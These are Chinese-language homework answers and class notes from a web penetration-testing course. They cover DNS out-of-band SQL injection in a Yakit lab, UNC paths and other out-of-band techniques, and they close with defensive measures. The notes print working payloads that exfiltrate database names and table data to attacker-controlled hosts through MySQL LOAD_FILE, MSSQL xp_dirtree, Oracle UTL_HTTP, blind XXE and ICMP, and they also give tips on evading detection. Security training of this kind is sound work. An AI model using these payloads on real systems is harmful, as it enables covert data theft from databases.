|
WEB渗透测试工程师系统班250303期 第17节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图? 第一步:sql配置文件secure_fiel_prive为空
第二步:yakit配置一个本地的DNS服务器
第三步:注入 payload:?id=1’ and if((select load_file (concat('//',(select database()),'.vvzaqedink.zaza.eu.org/abc'))),1,0) --+
第四步:爆库名
1. 什么是UNC? 1-UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器.UNC命名惯例最多被应 用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。 2-UNC 就是 '\\\\' 代表Microsoft Windows通用命名约定(UNC)** 3-那么使用,通用命名约定(UNC)的文件和目录路径格式,都会引发DNS地址解析 4-双斜杠表示网络资源路径多加两个\就是转义了反斜杠 2. dns注入的原理是什么? DNS注入(DNS Exfiltration) 是一种利用 DNS协议外传数据 的注入技术,常用于在SQL注入中绕过传统防护(如无回显、无报错、无延时响应),通过触发数据库发起DNS查询,将敏感数据隐藏在DNS请求中,最终通过监控DNS日志获取信息。 核心原理 1.数据外传机制 攻击者构造一个SQL语句,将目标数据(如数据库名、表名)作为子域名,利用数据库函数触发对攻击者控制域名的DNS查询。例如: SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test.txt')); 数据库尝试访问 数据库名.attacker.com 的UNC路径,触发DNS解析请求。 攻击者通过监控 attacker.com 的DNS日志,即可捕获子域名(即数据库名)。 2.绕过网络限制 DNS流量通常被防火墙放行(端口53 UDP),且隐蔽性高,不易被传统安全设备检测。 攻击步骤示例 假设目标存在SQL注入漏洞,且数据库支持外部网络请求(如MySQL的LOAD_FILE)。 1. 确认DNS注入可行性 构造一个测试请求,检查是否能触发DNS查询: id=1 AND (SELECT LOAD_FILE('\\\\test.attacker.com\\fake.txt')) -- 若攻击者的DNS服务器收到 test.attacker.com 的解析记录,说明注入可行。 2. 外传数据库名 id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt'))) -- 数据库执行时,尝试访问 数据库名.attacker.com,攻击者从DNS日志中获取子域名(即数据库名)。 3. 逐字符外传数据 若需获取更复杂数据(如表名、字段值),需逐字符截取并拼接为子域名: id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT SUBSTR(tbl_name,1,1) FROM sqlite_master LIMIT 1), '.attacker.com\\fake.txt'))) -- 截取第一个表的第一个字符作为子域名,通过多次请求逐步获取完整数据。 技术依赖条件 1.数据库支持外部请求 MySQL:需启用secure_file_priv为空(允许LOAD_FILE访问网络路径)。 SQL Server:可通过xp_dirtree或xp_fileexist触发DNS查询。 PostgreSQL:使用COPY或dblink函数。 Oracle:UTL_HTTP或UTL_INADDR(需权限)。 2.目标服务器可出站DNS查询 目标服务器的防火墙需允许向外部DNS服务器发起请求。 3.攻击者控制DNS服务器 需拥有一个域名(如attacker.com)并监控其DNS查询日志。 常见数据库的DNS注入方法 1. MySQL SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test')); 利用UNC路径触发DNS解析(仅Windows环境生效)。 2. SQL Server EXEC master..xp_dirtree '\\attacker.com\test\' + (SELECT TOP 1 table_name FROM information_schema.tables); xp_dirtree尝试访问远程路径,触发DNS查询。 3. PostgreSQL COPY (SELECT '\\' || (SELECT current_database()) || '.attacker.com\test') TO 'C:\temp\test.txt'; COPY命令尝试写入远程路径,触发DNS解析。 优势与局限性 优势 局限性 绕过无回显限制,数据外传隐蔽 依赖数据库配置允许外部网络请求 DNS流量通常不被防火墙拦截 需要控制域名并监控DNS日志 适用于高安全环境(无报错、无延时、无回显) 逐字符外传效率极低 可绕过WAF对HTTP响应的检测 部分数据库版本默认禁用相关函数(如MySQL的secure_file_priv) 3. 带外查询的应用场景? 带外查询(Out-of-Band, OOB) 是一种通过 非直接通信渠道传输数据 的技术。在网络安全中,它常用于 绕过传统防护机制(如无回显、无报错的场景),尤其在 数据外传(Exfiltration) 或 攻击探测 中发挥关键作用。以下是其核心应用场景及具体实现方式: 一、攻击场景:数据外传与漏洞利用 1. SQL 注入中的隐蔽数据窃取 场景特点: 目标系统存在 SQL 注入漏洞,但 无回显、无报错、无布尔条件差异(如统一返回空白页)。 带外查询的作用: 通过触发数据库向外部服务器发起请求(如 DNS、HTTP),将数据隐藏在协议中传输出去。 示例: DNS 注入(MySQL): SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake')); 数据库名通过子域名 数据库名.attacker.com 外传,攻击者从 DNS 日志中捕获数据。 HTTP 请求(Oracle): SELECT UTL_HTTP.REQUEST('http://attacker.com/?data=' || (SELECT table_name FROM user_tables WHERE rownum=1)) FROM DUAL; 表名通过 HTTP GET 请求参数外传,攻击者 Web 服务器记录请求中的 data 值。 2. 绕过防火墙与流量检测 场景特点: 目标网络严格过滤 HTTP/HTTPS 流量,但放行 DNS、ICMP 等基础协议。 带外查询的作用: 利用“合法”协议(如 DNS、ICMP)外传数据,绕过传统 WAF 或防火墙规则。 示例: ICMP 隧道(C2 通信): 攻击者通过 ICMP 数据包(Ping)的负载字段隐藏命令执行结果,与远程服务器通信。 DNS 隧道(数据渗透): 将数据编码为子域名(如 Base64),通过高频 DNS 查询分批传输文件内容。 3. 无交互漏洞的利用 场景特点: 漏洞触发后无直接反馈(如反序列化漏洞、XXE 盲注),需通过外部网络行为确认漏洞存在。 带外查询的作用: 构造请求触发目标向攻击者服务器发起连接,通过日志确认漏洞可利用性。 示例(XXE 盲注): <!ENTITY % payload SYSTEM "http://attacker.com/xxe"> <!ENTITY % exploit "<!ENTITY % trigger SYSTEM 'php://filter/convert.base64-encode/resource=file:///etc/passwd'>"> %exploit; %trigger; 运行 HTML 若攻击者服务器收到 HTTP 请求,则说明 XXE 漏洞存在且可读取文件。 二、合法场景:监控与调试 1. 服务健康检查 场景特点: 需验证服务是否可达或正常运行,但无法直接访问目标(如防火墙隔离)。 带外查询的作用: 通过第三方服务(如外部监控平台)发起请求,间接检测目标状态。 示例: 数据库主从同步检测: 从库通过外部 HTTP 接口通知监控平台其同步状态。 云服务心跳检测: 虚拟机定期向外部服务器发送 ICMP 或 DNS 请求,证明自身存活。 2. 日志聚合与远程诊断 场景特点: 分布式系统需将日志集中管理,但内部网络隔离。 带外查询的作用: 通过专用日志通道(如 Syslog over TLS)将日志发送到外部存储。 示例: Kubernetes 集群日志: Pod 通过 Fluentd 将日志发送到外部 Elasticsearch 服务器。 IoT 设备诊断: 设备通过 MQTT 协议将错误日志推送到云端监控平台。 三、带外查询的技术实现方式 不同协议在攻击与合法场景中的应 协议/技术 攻击场景示例 合法场景示例 DNS 通过子域名外传数据(数据.attacker.com) 域名解析状态监控 HTTP/HTTPS 通过 URL 参数或 Cookie 外传数据(http://attacker.com/?data=xxx) API 状态检查、日志推送 ICMP 利用 Ping 数据包负载传输加密命令(ping -p 48656C6C6F attacker.com) 网络连通性测试 SMTP 通过邮件内容或附件外传数据(发送敏感文件到 exfil@attacker.com) 告警邮件通知 文件写入 将数据写入共享目录(\\attacker.com\share\data.txt) 跨服务器日志同步 四、防御带外查询攻击 1.网络层控制: 限制数据库、应用服务器出站流量(仅允许必需协议如 HTTPS)。 监控异常 DNS 查询(如高频解析随机子域名)。 2.代码层防护: 使用参数化查询(Prepared Statements)彻底杜绝 SQL 注入。 过滤用户输入中的特殊符号(如 \\、.、%)。 3.日志与告警: 记录所有出站 DNS/HTTP 请求,分析异常模式。 部署 SIEM 工具(如 Splunk)实时告警可疑外连行为。 4.最小化权限: 数据库账户禁止执行高危函数(如 LOAD_FILE、xp_dirtree)。 容器化部署时启用 Seccomp/AppArmor 限制系统调用。 总结 带外查询的核心价值在于 利用非直接通信渠道绕过限制,无论是攻击者窃取数据,还是开发者调试系统,其本质都是通过“旁路”传递信息。在攻防对抗中,理解其应用场景和技术细节,是构建有效防御体系的关键。
一、笔记标题:WEB渗透系统班-DNS 注入+referer&XFF 头注入
二、文章内容:
1. 课程内容概要
主要知识点1:DNS注入
主要知识点2:refer头注入
2.重点知识与细节
概念解析
概念1: UNC概念
概念2: DNS注入原理
概念3:带外查询场景
关键步骤(DNS 注入逐字符截取数据原因)
第1点: DNS 协议对域名的长度限制
子域名(Subdomain)长度限制:每个子域名部分(如 mydb 在 mydb.attacker.com 中)最长 63 个字符,整个域名(包括所有子域和根域)最长 253 个字符。 直接传递长数据会失败:
若直接传递完整的表名(如 user_accounts),虽然长度在限制内,但存在以下风险: 特殊字符(如空格、下划线 _)可能被 DNS 服务器拒绝或转义。
部分网络设备或防火墙可能拦截异常长域名。
第2点:数据可读性与兼容性 非字母数字字符问题: 如果数据包含非常规字符(如 @、#、/),在域名中会被视为非法字符,导致 DNS 解析失败。 逐字符截取允许攻击者对每个字符单独编码(如转十六进制),避免非法字符问题。 第3点:避免触发安全防护 长随机子域名易被检测: 一次性传输完整数据(如 user_accounts.attacker.com)可能被安全设备识别为异常模式(如子域名与正常业务无关)。 逐字符请求(如 u.attacker.com→s.attacker.com→e.attacker.com)更隐蔽,看起来像普通探测流量。 第4点:技术实现限制 数据库函数返回值限制: 某些数据库的查询结果可能被截断(如 SQLite 默认不返回多行结果),或注入点仅允许单行单列输出。 逐字符截取是绕过这些限制的唯一方法。
相关代码无
3.实操练习 和 解析
如作业
4.个人总结
本节课最大的收获是:学习了sql注入的更多场景,以及快速注入的办法
仍然存在疑问的地方:暂无
需要课后深入学习的内容:sql注入各种场景
|